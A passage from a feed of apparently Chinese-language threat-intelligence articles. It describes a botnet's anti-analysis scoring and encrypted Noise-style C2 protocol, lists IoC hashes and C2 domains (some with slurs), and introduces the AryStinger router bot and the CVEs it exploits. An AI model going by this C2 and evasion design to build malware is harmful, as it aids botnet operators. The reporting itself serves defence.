模块内置了一套</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);font-weight: bold;">动态权重评分机制</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">。软件运行时会遍历执行各项环境检测，当</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);font-weight: bold;">累加的风险得分超过预设阈值</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">时，程序将自动擦除痕迹并退出。</span></span></p><div style="color: rgba(0,0,0,0.9);text-align: center;font-size: 17px;font-weight: 400;margin-bottom: 24px;line-height: 1.8;" data-layout-id="60"><p style="text-align: center;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><img data-aistatus="1" alt="sandbox_check.png" class="rich_pages wxw-img" data-ratio="0.4343283582089552" data-type="png" data-w="670" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;margin-top: 17px;margin-bottom: 17px;float: none;" data-imgfileid="100001099" src="https://wechat2rss.xlab.app/img-proxy/?k=1419fdd3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8wBUfYawxWnHR44Vzruw1ZlvSvClGUadjyQ6WE4a2L9x3nIM23l6GAGCdS9IAibpY5EHlib19JM2HYc4iacyEVyPicbbrDFtYc1zWk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p></div><p data-layout-id="61" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">具体检测项与权重划分如下：</span></span></p><div style="color: rgba(0,0,0,0.9);text-align: center;font-size: 17px;font-weight: 400;margin-bottom: 24px;line-height: 1.8;" data-layout-id="62"><p style="text-align: center;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.0377867746288798" data-s="300,640" data-type="png" data-w="741" style="margin-top: 17px;margin-bottom: 17px;float: none;" type="block" data-imgfileid="100001111" src="https://wechat2rss.xlab.app/img-proxy/?k=035071ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8zXnwLHic93Tel19ZmVLbkXgUCJ4V9TKVibIwlby8GVwicsiavYicM41mnaQaaJibXQiaRQFJsty8HWGMHTJMrSzCCAtqHprqibLAicSq0E%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p></div><p data-layout-id="63" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">关键反调试代码实现参考：</span></span></p><div style="color: rgba(0,0,0,0.9);text-align: center;font-size: 17px;font-weight: 400;margin-bottom: 24px;line-height: 1.8;" data-layout-id="64"><p style="text-align: center;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.4725568942436413" data-s="300,640" data-type="png" data-w="747" style="margin-top: 17px;margin-bottom: 17px;float: none;" type="block" data-imgfileid="100001105" src="https://wechat2rss.xlab.app/img-proxy/?k=fe62fe77&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8wVqtUrKGWs46P5s3wPhoPiagkVcAfchsrmTUTHTdw54VTS1SicEXm3tXrMUZMKvLOFDMMbpuQrhzJu9tvpqcU5YKJRwoLibIwnW8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p></div><hr style="box-sizing: inherit;border-width: 1px 0px 0px;border-style: solid none none;border-color: rgb(240, 240, 240) currentcolor currentcolor;border-image: initial;display: block;height: 1px;margin: max(4.8vmin, 32px) 0px 0px;padding: 0px;width: 720px;grid-column: main-start / main-end;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: #2B77BF;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="color: #2B77BF;font-size: 17px;font-weight: 500;margin-bottom: 12px;line-height: 1.8;" data-layout-id="66"><span leaf="">3. 高强度通信协议与流量对抗</span></h2><p data-layout-id="67" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">新变种的网络通信协议深度参考了</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);font-weight: bold;">Noise 协议框架的 IK 模式</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">。依靠客户端硬编码的服务器静态公钥与运行时生成的临时公钥进行 ECDH，混合派生出会话密钥。另外，协议在全阶段引入了全局MsgID，用于消息序列验证并参与新密钥的滚动生成。这种设计切断了在网络侧通过明文密钥解密流量的可能性。</span></span></p><p data-layout-id="68" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">整个通信生命周期严格划分为两个阶段：</span></span></p><p data-layout-id="69" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">阶段 A：握手/验证阶段</span></span></p><p data-layout-id="70" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="font-weight: bold;">消息封装格式</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">：</span></span></p><div style="color: rgba(0,0,0,0.9);text-align: center;font-size: 17px;font-weight: 400;margin-bottom: 24px;line-height: 1.8;" data-layout-id="71"><p style="text-align: center;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6294416243654822" data-s="300,640" data-type="png" data-w="591" style="margin-top: 17px;margin-bottom: 17px;float: none;" type="block" data-imgfileid="100001106" src="https://wechat2rss.xlab.app/img-proxy/?k=dc768d53&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8xDUkQmCVGjovce2MGEdSeGjOIptfvQaOgibZks0wJN0HkSvmSl7JnicZHTBagOiccK52s1iaak7BnsaIIlkia5mkN78ccS5NTh48k8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p></div><p data-layout-id="72" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="font-weight: bold;">传输加密：ChaCha20</span></span></p><p data-layout-id="73" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="font-weight: bold;">握手交互时序：</span></span></p><p data-layout-id="74" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="font-weight: bold;">Key Exchange：</span></span></p><p data-layout-id="75" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">客户端上传 32 字节的客户端临时公钥；随后接收服务器下发的 32 字节公钥。</span></span></p><p data-layout-id="76" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="font-weight: bold;">KDF 派生</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">：</span></span></p><p data-layout-id="77" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">双方利用各自手上的私钥与对方公钥完成魔改的密钥交换，将共享密钥合并作为master，公钥拼接物作为salt，通过</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);font-weight: bold;">HKDF-SHA256</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">派生出后续所需的chacha20Key与aesGCMKey：</span></span></p><div style="color: rgba(0,0,0,0.9);text-align: center;font-size: 17px;font-weight: 400;margin-bottom: 24px;line-height: 1.8;" data-layout-id="78"><p style="text-align: center;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><img data-aistatus="1" alt="key_derivation.png" class="rich_pages wxw-img" data-ratio="0.511441647597254" data-type="png" data-w="874" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;margin-top: 17px;margin-bottom: 17px;float: none;" data-imgfileid="100001100" src="https://wechat2rss.xlab.app/img-proxy/?k=419bcbf6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8y6d8s5k0zc5jzjlUBOOPYZTWSr5GoTuicQZhOnU9uhbZ8EWp5XRELGtibe7aEW9L7ZaoCzC0Qen0wUwf3DK4mLaYyaeNblnj65I%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p></div><p data-layout-id="79" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="font-weight: bold;">四步合规验证：</span></span></p><p data-layout-id="80" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">基于chacha20Key+HMAC-SHA256建立严格的身份确认：</span></span></p><p data-layout-id="81" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">login (0xa0): 客户端生成 16 字节随机密文，并上报当前架构、CPU 核心数、内存大小。</span></span></p><p data-layout-id="82" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">verify (0xa1): 服务器返回随机消息，并附带针对 login 阶段的</span></span></p><p data-layout-id="83" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">login_hmac。</span></span></p><p data-layout-id="84" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">confirm (0xa2): 客户端校验成功后，向服务端发送 verify_hmac</span></span></p><p data-layout-id="85" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">及本机的唯一botid（64字节十六进制字符串）。</span></span></p><p data-layout-id="86" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">ack (0xa3): 服务端发送确认包，正式宣告握手阶段结束。</span></span></p><div style="color: rgba(0,0,0,0.9);text-align: center;font-size: 17px;font-weight: 400;margin-bottom: 24px;line-height: 1.8;" data-layout-id="87"><p style="text-align: center;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><img data-aistatus="1" alt="handshake_verify.png" class="rich_pages wxw-img" data-ratio="0.6222222222222222" data-type="png" data-w="1080" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;margin-top: 17px;margin-bottom: 17px;float: none;" data-imgfileid="100001101" src="https://wechat2rss.xlab.app/img-proxy/?k=d8fadead&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8wNibOdibD5iaAQx4BGlCvib0AopTzbzwujcwibsdu7z8KYG0JEGiccPPG5EVibky1gmcibibogAz9IUAib1SYxL6eUdejTt9SssVP9VcIPA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p></div><hr style="box-sizing: inherit;border-width: 1px 0px 0px;border-style: solid none none;border-color: rgb(240, 240, 240) currentcolor currentcolor;border-image: initial;display: block;height: 1px;margin: max(4.8vmin, 32px) 0px 0px;padding: 0px;width: 720px;grid-column: main-start / main-end;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: #2B77BF;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><p data-layout-id="89" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">阶段 B：指令循环（C2 Command Loop）</span></span></p><p data-layout-id="90" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">握手成功后，通信立即切换至高强度的指令循环阶段。</span></span></p><p data-layout-id="91" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="font-weight: bold;">消息封装格式</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">：</span></span></p><p data-layout-id="92" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">头部增加了 3 字节的仿 SSL 伪装魔术字。</span></span></p><div style="color: rgba(0,0,0,0.9);text-align: center;font-size: 17px;font-weight: 400;margin-bottom: 24px;line-height: 1.8;" data-layout-id="93"><p style="text-align: center;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.68561872909699" data-s="300,640" data-type="png" data-w="598" style="margin-top: 17px;margin-bottom: 17px;float: none;" type="block" data-imgfileid="100001107" src="https://wechat2rss.xlab.app/img-proxy/?k=55055a53&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8xiaXw0SoTKskMOUyW3HsHoUcticx9V8uLlAWDGUOqnudhbQQH8FZurGTrwdDRx6UPDQMGdFugzicOsQDvUCxiaibXbIsicjBVMviaB5A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p></div><p data-layout-id="94" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="font-weight: bold;">传输加密：</span></span></p><p data-layout-id="95" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);font-weight: bold;">AES-GCM</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">体制。</span></span></p><p data-layout-id="96" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">为了最大化提升对抗中间人攻击（MITM）的能力，该阶段在进行数据加密和解密时，采用了</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);font-weight: bold;">上下行分离的独立密钥体制</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">。先前派生的 88 字节aesGCMKey被精确切割为四个部分：</span></span></p><p data-layout-id="97" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">Client 发送（上行）流量：使用 clientKey 与 clientNonceKey 加密。</span></span></p><p data-layout-id="98" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">Server 接收（下行）指令：使用 serverKey 与 serverNonceKey解密。</span></span></p><p data-layout-id="99" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">C2 指令集（msgType）定义：</span></span></p><div style="color: rgba(0,0,0,0.9);text-align: center;font-size: 17px;font-weight: 400;margin-bottom: 24px;line-height: 1.8;" data-layout-id="100"><p style="text-align: center;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.38622754491017963" data-s="300,640" data-type="png" data-w="668" style="margin-top: 17px;margin-bottom: 17px;float: none;" type="block" data-imgfileid="100001108" src="https://wechat2rss.xlab.app/img-proxy/?k=c7247618&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8xIslWFRrjTNvN8RnZ7wicicDqXQdhRDsiaKQ76sc4qbicIJ30lMSmIw9hsPvicEf23TlPGfgNZ3tIdsmlEGjkrx3mIr1FTC9S8JXRI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p></div><h1 style="color: #2B77BF;text-align: center;font-size: 20px;font-weight: 500;margin-bottom: 12px;line-height: 1.8;" data-layout-id="101"><span leaf="">IoC</span></h1><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="nginx"><code><span leaf=""><span class="code-snippet__attribute">Loader</span> SHA1</span></code><br/><code><span leaf="">8315f650e9e4f67c00277b076ab304eed23db47d</span></code><br/><code><span leaf="">6aa791c76b3107fca9d57b7ecea8f46d97d83738</span></code><br/><code><span leaf="">4d11bd496da82d15b3ed13050f414e44f5a892d4</span></code><br/><code><span leaf="">d39a3ee96be6b8f5238cb1253514ab55c88f714c</span></code><br/><code></code><br/></pre></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="nginx"><code><span leaf=""><span class="code-snippet__attribute">C2</span> Domain</span></code><br/><code><span leaf="">gayporn.twilightparadox[.com</span></code><br/><code><span leaf="">bigniggadick.ignorelist[.com</span></code><br/><code><span leaf="">ilovefemboy.mooo[.com</span></code><br/><code><span leaf="">igmc.duckdns[.org</span></code><br/><code><span leaf="">qewqewqewqtq.duckdns[.org</span></code><br/><code><span leaf="">qewqewqewqtqthree.duckdns[.org</span></code><br/><code><span leaf="">qewqewqewqtqtwo.duckdns[.org</span></code><br/><code><span leaf="">disciplinenahidwin[.st</span></code><br/><code><span leaf="">criminalcloudflare[.online</span></code><br/><code><span leaf="">dhdsjsdjxc.duckdns[.org</span></code><br/><code><span leaf="">fcfrfxrfrsfs5f.duckdns[.org</span></code><br/></pre></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://blog.xlab.qianxin.com/rustduck/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=9dabbb09&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkxMDYzODQxNA%3D%3D%26mid%3D2247484761%26idx%3D1%26sn%3D9ba73d494086c98f075c0642835e6ec6">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 30 Jun 2026 14:57:00 +0800</pubDate>
    </item>
    <item>
      <title>隐形的毒刺：超4000台老旧路由器遭AryStinger入侵，沦为黑客全球攻击跳板</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkxMDYzODQxNA==&amp;mid=2247484743&amp;idx=1&amp;sn=ea1af2cd1820f1f2eb79898fbb8f4057</link>
      <description>背景介绍2026年5月20日，国安部微信公众号在文章《网速变慢，元凶竟是它》中指出老旧路由器正成为境外势力实施</description>
      <content:encoded><![CDATA[<p>原创 <span>奇安信X实验室</span> <span>2026-06-17 16:55</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=d49fcdd0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fa6IDQoib5s8z1eaGcEmYN5dCIDhNmm15axFoXIKMjoWqgBGfm4AvphG8FM2VlHh89TpK1v0W9zuVWctW6kVdrw8QlFHemGVOenjGX015ia0ms%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.21656050955414013" data-s="300,640" data-type="png" data-w="785" type="block" data-imgfileid="100001094" src="https://wechat2rss.xlab.app/img-proxy/?k=41fa2999&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8yK690uRAZlKViboLQ8Gj7TqbnHMjC1giaiaFJiboGFKxQC5TdH91icTKGy5yAI0mqD9IqU2m5H29f5OvibuKgh0DsVytbg2VFM7kQJE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h1 data-layout-id="0" style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">背景介绍</span></span></h1><h1 data-layout-id="0" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">2026年5月20日，国安部微信公众号在文章《网速变慢，元凶竟是它》中指出<span textstyle="" style="font-weight: bold;">老旧路由器正成为境外势力实施网络窃密的重点突破口</span>。受该文启发，我们觉得必须重视老旧路由被入侵这一情况，本文将介绍奇安信XLab视野中一起不同寻常，专门针对基于RTL819X系列芯片的路由器设备的攻击活动。RTL819X系列芯片的主流活跃期集中在 2012 年至 2015 年左右，攻击者利用13年前被披露的漏洞攻陷大量老旧路由，<span textstyle="" style="font-weight: bold;">组建侦察和攻击集群</span>，用于入侵前期的踩点服务。（注：本文披露活动和国安部所述并无直接关系）</span></h1><h1 data-layout-id="0" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">让我们把钟拨回到2026年3月12日，<span textstyle="" style="font-weight: bold;">XLab大网威胁感知系统</span>监测到IP 107.150.106.14 通过老旧漏洞CVE-2013-3307以及CVE-2016-5681传播一个VT 0检测的C语言实现的ELF样本。受这俩个漏洞影响的分别是Linksys以及D-Link 10多年前的几款路由器设备。不同于常见的利用IOT设备漏洞组建DDoS或挖矿僵尸网络，此次活动旨在构建入侵侦察活动的基础设施集群，具备端口扫描，服务识别，子域名枚举等信息收集能力。4月26日，我们捕获了针对NAS设备，通过CVE-2025-11837传播的同源样本，该样本由Go语言实现，源码路径暗示项目名为&#34;Ary-Attack&#34;。综合其行为特征与技术来源，我们将这个未知的病毒家族命名为<span textstyle="" style="font-weight: bold;">AryStinger</span>。</span></h1><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.413" data-s="300,640" data-type="png" data-w="2000" style="width:100%;" type="block" data-backw="578" data-backh="239" data-imgfileid="100001060" src="https://wechat2rss.xlab.app/img-proxy/?k=d8cefa51&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8yugcEKGrfsmwdibcZUXXnuZyvQfmOPanU9IjVIw8eZEgMPiauuAjVfZiaOhwlbEF3hrg41AkiaumCrQHibjBQ20OdNiaJXs7EbGADWs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="5" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">AryStinger 是一个典型的僵尸程序（Bot），它通过 HTTP/HTTPS 协议与 C2 服务器通信。网络流量采用 Protobuf 编码并辅以简单的 XOR 加密。该程序在与 C2 服务器完成身份认证并获取配置更新后，将进入待命状态，等待执行服务器下发的任务。AryStinger 支持多种任务类型，包括内/外网络扫描、流量隧道转发/代理、执行系统命令、Go/Java/Python三种的源码级 Payload，以及通过 dropbear 或 gs-netcat 构建持久的远程管理通道。最终，被感染的设备既可被用于内网渗透拓展，也可被用于对外发起攻击，同时还能有效隐藏攻击者的真实身份与物理位置，成为整个攻击链条中集隐匿、中继、发力于一体的关键跳板。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.48776223776223776" data-s="300,640" data-type="png" data-w="1716" style="width:100%;" type="block" data-backw="578" data-backh="282" data-imgfileid="100001055" src="https://wechat2rss.xlab.app/img-proxy/?k=82cb2e8d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8ymel8rYzeoE675H7AT2ia3t3dd0utibDWMtROICOAF2IOpiaxpCEawibibg56q3BBK41XqeCDzKA19IWuW2iamHsoXLFNyia2oDLFQwQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="7" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">每个运行 AryStinger 的节点被称为 Executor（执行器）。攻击者可以将一个庞大的扫描任务切分成多个小块，下发给不同的 Executor 并行执行。<span textstyle="" style="font-weight: bold;">借助这种类似分布式的设计，攻击者能够高效地完成前期“踩点”活动，从而为后续入侵行动的流畅度与成功率提供有力保障</span>。</span></p><p data-layout-id="8" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">根据<span textstyle="" style="font-weight: bold;">奇安信网络空间测绘鹰图平台</span>的资产探测数据，全球已有至少 4300 台路由器被感染，且数量仍在持续上升。需要注意的是，这一数字仅涵盖 AryStinger 在 RTL819X 类设备上的感染情况，目前尚无手段测量其对 NAS 